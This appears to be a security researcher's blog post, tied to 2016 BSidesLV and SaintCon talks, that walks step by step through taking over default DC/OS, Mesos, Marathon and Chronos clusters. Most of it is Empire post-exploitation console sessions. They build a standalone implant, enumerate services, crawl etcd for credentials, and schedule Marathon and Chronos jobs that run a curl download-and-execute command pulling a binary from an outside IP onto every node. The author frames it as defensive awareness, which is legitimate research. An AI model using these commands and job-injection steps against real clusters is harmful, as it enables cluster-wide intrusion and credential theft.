Container Carnage

& Job OWNerchestration

Managing containers and jobs spread across multiple servers within a data-center can be a very tedious task. Thankfully, job orchestration software (e.g. Mesos, DC/OS, Marathon, Chronos, etc…) has recently emerged that makes many of these unwieldy management tasks dead simple for organizations to leverage.

Many large companies are already using some of these software solutions to easily scale their production applications to support massive data-center wide workloads, see: http://mesos.apache.org/documentation/latest/powered-by-mesos/

Unfortunately, when left with the default configuration, many of these software solutions are one pivot away from an attacker compromising every server you have joined into these production data-center clusters of computing power.

Data-Center Operating System (DC/OS) is a distributed, highly available task/job scheduler based on Apache Mesos, which makes running jobs and/or containers in production across a data-center of servers child’s play by tying together many of these independent software packages into a cohesive and smooth platform.

An example DC/OS deployment will look something like the following within a logical network map…

I am going to walk you through the various steps needed to pwn a default configuration of DC/OS, Mesos, etc… While you may find implementations of these software packaged on the Internet that are noticeably less secure and hopefully you will find implementations in enterprises that are considerably more secure, this research serves as a starting point to hopefully help you get orientated and ensure that your implementations are at least not egregiously insecure.

Initial Access

By default, DC/OS does not expose any easily exploited services to the Internet so initial access will commonly occur from services running within containers being exposed to the Internet. If an attacker can gain access to a service running in a container, they can then leverage that access to communicate with the various components (e.g. Mesos, Marathon, Chronos, etc…) and expand access within the DC/OS cluster.

For example, if we have a web application running in a container exposed to the Internet and an attacker gains Remote Code Execution (RCE) to the web service, they can then use a web shell like weevely to interact with the remote server under the context in which the web service is currently running as (e.g. the www-data user).

For example, let’s say we can access one container via a vulnerable in the service it is currently exposing to the internet…

You can see a quick overview of DC/OS and how I gained RCE within a container in the following video…

pyInstaller

Containers are designed to run a single service, hence many containers will only contain the software and other dependencies required to run that single service, hence if an attacker is able to get RCE within a container, they may still have a limited number of options because the attackers normal toolkit may rely on a dependency that is not needed by the service hosted within the container.

For example, many containers do not include a version of python pre-installed, hence if the attacker is expecting python to be on the remote target, they may be in for some disappointment. Empire 2.x beta (previously known as EmPyre) for Linux targets relies on having a 2.7 version of python on the remote target, hence it will normally not be of use within many containers because these containers do not have python installed by default.

To workaround this issue, I developed a module that will use pyInstaller bundle up the needed python dependencies and build a standalone ELF binary that can be move onto a remote target that lacks python 2.7 to get interactive with Empire on the remote target.

This module is fairly simple to use, for example just start empire and …

(Empire)> listeners
(Empire: listeners)> uselistener http
(Empire: listeners/http)> execute
(Empire: listeners/http)> agents
(Empire: agents)> usestager multi/pyinstaller
(Empire: stager/multi/pyinstaller)> set Listener http
(Empire: stager/multi/pyinstaller)> set SafeChecks False
(Empire: stager/multi/pyinstaller)> execute

By default, this pyInstaller stager will create three files in /tmp

  • emPyre -> a standalone ELF binary
  • emPyre.py -> the final python code that was compiled into the ELF binary
  • emPyre.spec -> the specifications that where used by pyInstaller to create the ELF binary

These files are provided so that you can more easily customize your future pyInstaller ELF binaries for various exploitation scenarios.

Reconnaissance & Enumeration

Once a foothold has been gained inside the cluster, an attacker with interactive access to the network can begin to preform some recon and enumeration operations to aid in expanding access within the target network.

DNS

Most of these cluster will have an internal DNS service that will use a locally resolvable Top Level Domain (TLD). Many times the TLD of “.mesos” will be used for the cluster and making simple DNS queries for common service names with the “.mesos” will result in discovery of which servers are hosting each service.

Commonly used names include:

  • master.mesos
  • marathon.mesos
  • chronos.mesos
  • etcd.mesos

An attacker can easily query these domains using the following commands within Empire…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/gethostbyname
(Empire: python/situational_awareness/network/gethostbyname)> set Target master.mesos
(Empire: python/situational_awareness/network/gethostbyname)> execute
job 1 started
master.mesos resolved to 10.0.4.104 !

Mesos DNS

Mesos also provides it’s own internal DNS service called “Mesos DNS” which is available via an HTTP REST API. This service is often the most useful service to query as it is often a one-stop shop for information on all servers, services, and associated TCP ports.

An attacker can interact with Mesos DNS via the following Empire modules…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/http_rest_api
(Empire: python/situational_awareness/network/http_rest_api)> set Target master.mesos
(Empire: python/situational_awareness/network/http_rest_api)> set Path /v1/enumerate
(Empire: python/situational_awareness/network/http_rest_api)> set Port 8123
(Empire: python/situational_awareness/network/http_rest_api)> execute

Mesos Master

The Mesos Master provides a service by default listening on TCP port 5050 which will provide information on servers within the cluster. For example …

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/http_rest_api
(Empire: python/situational_awareness/network/http_rest_api)> set Target master.mesos
(Empire: python/situational_awareness/network/http_rest_api)> set Path /slaves
(Empire: python/situational_awareness/network/http_rest_api)> set Port 5050
(Empire: python/situational_awareness/network/http_rest_api)> execute

Mesos Agents

Previously known as Mesos Slaves or Mesos Nodes, Mesos Agents also can be queried for information…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/http_rest_api
(Empire: python/situational_awareness/network/http_rest_api)> set Target 10.0.4.247
(Empire: python/situational_awareness/network/http_rest_api)> set Path /slaves
(Empire: python/situational_awareness/network/http_rest_api)> set Port 5051
(Empire: python/situational_awareness/network/http_rest_api)> execute

You can see a quick overview of creating an Empire pyInstaller ELF binary and performing recon within a DC/OS cluster in the following video…

Etcd hearts Creds

etcd is a distributed key value store that provides a reliable way to store data across a cluster of machines. Frequently, configuration stores, including etcd, will be used to store credentials to access various services that applications need to interact to perform their intended purposes. If an attacker can query these configuration stores, they may be able to use this information to expand access within a target network.

We can use the “etcd_crawler” module to list Marathon jobs using the following commands…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/dcos/etcd_crawler
(Empire: python/situational_awareness/network/dcos/etcd_crawler)> set Target etcd.mesos
(Empire: python/situational_awareness/network/dcos/etcd_crawler)> set Port 1026
(Empire: python/situational_awareness/network/dcos/etcd_crawler)> execute

You can see a quick demo of this process in the following video…

Marathon (ab)Use

We can gain Remote Code Execution (RCE) on servers within the cluster using the Marathon service. Marathon is usually the first framework to be launched and generally runs directly alongside Mesos to help ensure services, containers, and frameworks continue operating indefinitely.

An attacker by default can interact with the Marathon service to gain RCE on servers within the cluster using the following techniques within Empire. In these examples we are going to execute the following malicious command that will download and execute our ELF Empire binary onto the remote servers within the DC/OS cluster…

curl -o /tmp/emPyre -s http://138.68.47.120:8000/emPyre && chmod +x /tmp/emPyre && /tmp/emPyre

This is not the stealthiest and/or OPSEC friendliest way to get RCE on these endpoints, but this process can be easily be improved to blend into target environments by carefully analyzing the existing jobs that are listed via the Marathon service and then crafting a series of commands that will look more benign for the given target network. This exercise is left up to the reader.

List Marathon Jobs

We can use the “http_rest_api” module to list Marathon jobs using the following commands…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/http_rest_api
(Empire: python/situational_awareness/network/http_rest_api)> set RequMethod GET
(Empire: python/situational_awareness/network/http_rest_api)> set Protocol http
(Empire: python/situational_awareness/network/http_rest_api)> set Target marathon.mesos
(Empire: python/situational_awareness/network/http_rest_api)> set Path /v2/apps
(Empire: python/situational_awareness/network/http_rest_api)> set Port 8080
(Empire: python/situational_awareness/network/http_rest_api)> execute

Add Marathon Job

We can use the “marathon_api_create_start_app” module to add a Marathon job using the following commands…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/dcos/marathon_api_create_start_app
(Empire: python/situational_awareness/network/dcos/marathon_api_create_start_app)> set Cmd curl -o /tmp/emPyre -s http://138.68.47.120:8000/emPyre && chmod +x /tmp/emPyre && /tmp/emPyre
(Empire: python/situational_awareness/network/dcos/marathon_api_create_start_app)> execute

Delete a Marathon Job

We can use the “http_rest_api” module to deleta a Marathon job using the following commands…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/http_rest_api
(Empire: python/situational_awareness/network/http_rest_api)> set RequMethod DELETE
(Empire: python/situational_awareness/network/http_rest_api)> set Protocol http
(Empire: python/situational_awareness/network/http_rest_api)> set Target marathon.mesos
(Empire: python/situational_awareness/network/http_rest_api)> set Path /v2/apps/app001
(Empire: python/situational_awareness/network/http_rest_api)> set Port 8080
(Empire: python/situational_awareness/network/http_rest_api)> execute

Demo

You can see a quick demo of this process in the following video…

Chronos (ab)Use

We can also gain Remote Code Execution (RCE) on servers within the cluster using the Chronos service. Chronos was frequently installed within DC/OS Mesos clusters to provide scheduling job, similar to crontab but distributed across all servers within the cluster.

An attacker by default can interact with the Chronos service to gain RCE on servers within the cluster using the following techniques within Empire…

List Chronos Jobs

We can use the “http_rest_api” module to list Chronos jobs using the following commands…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/http_rest_api
(Empire: python/situational_awareness/network/http_rest_api)> set RequMethod GET
(Empire: python/situational_awareness/network/http_rest_api)> set Protocol http
(Empire: python/situational_awareness/network/http_rest_api)> set Target 10.0.3.234
(Empire: python/situational_awareness/network/http_rest_api)> set Path /scheduler/jobs
(Empire: python/situational_awareness/network/http_rest_api)> set Port 24641
(Empire: python/situational_awareness/network/http_rest_api)> execute

Add Chronos Job

We can use the “chronos_api_add_job” module to add a Chronos job using the following commands…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/dcos/chronos_api_add_job
(Empire: python/situational_awareness/network/dcos/chronos_api_add_job)> set Target 10.0.3.234
(Empire: python/situational_awareness/network/dcos/chronos_api_add_job)>set Port 24641
(Empire: python/situational_awareness/network/dcos/chronos_api_add_job)> set Cmd curl -o /tmp/emPyre -s http://138.68.47.120:8000/emPyre && chmod +x /tmp/emPyre && /tmp/emPyre
(Empire: python/situational_awareness/network/dcos/chronos_api_add_job)> execute

Start Chronos Job

We can use the “http_rest_api” module to start a Chrono jobs using the following commands…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/http_rest_api
(Empire: python/situational_awareness/network/http_rest_api)> set RequMethod PUT
(Empire: python/situational_awareness/network/http_rest_api)> set Protocol http
(Empire: python/situational_awareness/network/http_rest_api)> set Target 10.0.3.234
(Empire: python/situational_awareness/network/http_rest_api)> set Path /scheduler/job/scheduledJob001
(Empire: python/situational_awareness/network/http_rest_api)> set Port 24641
(Empire: python/situational_awareness/network/http_rest_api)> execute

Delete a Chronos Job

We can use the “http_rest_api” module to delete a Chronos job using the following commands…

(Empire)> agents
(Empire: agents)> interact IHCY2HLZ
(Empire: IHCY2HLZ)> usemodule situational_awareness/network/http_rest_api
(Empire: python/situational_awareness/network/http_rest_api)> set RequMethod DELETE
(Empire: python/situational_awareness/network/http_rest_api)> set Protocol http
(Empire: python/situational_awareness/network/http_rest_api)> set Target 10.0.3.234
(Empire: python/situational_awareness/network/http_rest_api)> set Path /scheduler/job/scheduledJob001
(Empire: python/situational_awareness/network/http_rest_api)> set Port 24641
(Empire: python/situational_awareness/network/http_rest_api)> execute

Demo

You can see a quick demo of this process in the following video…

Conclusion

This content hopefully helps organizations understand why they need to take the extra time to secure each of these services before relying on them to support sensitive information.

Big thanks to @ScottJPack for helping with the research and co-presenting this content with me at conferences.

Huge thank you to the BSidesLV and SaintCon conferences who provided us with a venue in 2016 to present this information for the benefit of the InfoSec community.

SaintCon Video for “Container Carnage” presentation:

(link will be posted whenever it is live…)

BSidesLV Video for “One Compromise to Rule Them All” presentation:

One clap, two clap, three clap, forty?

By clapping more or less, you can signal to us which stories really stand out.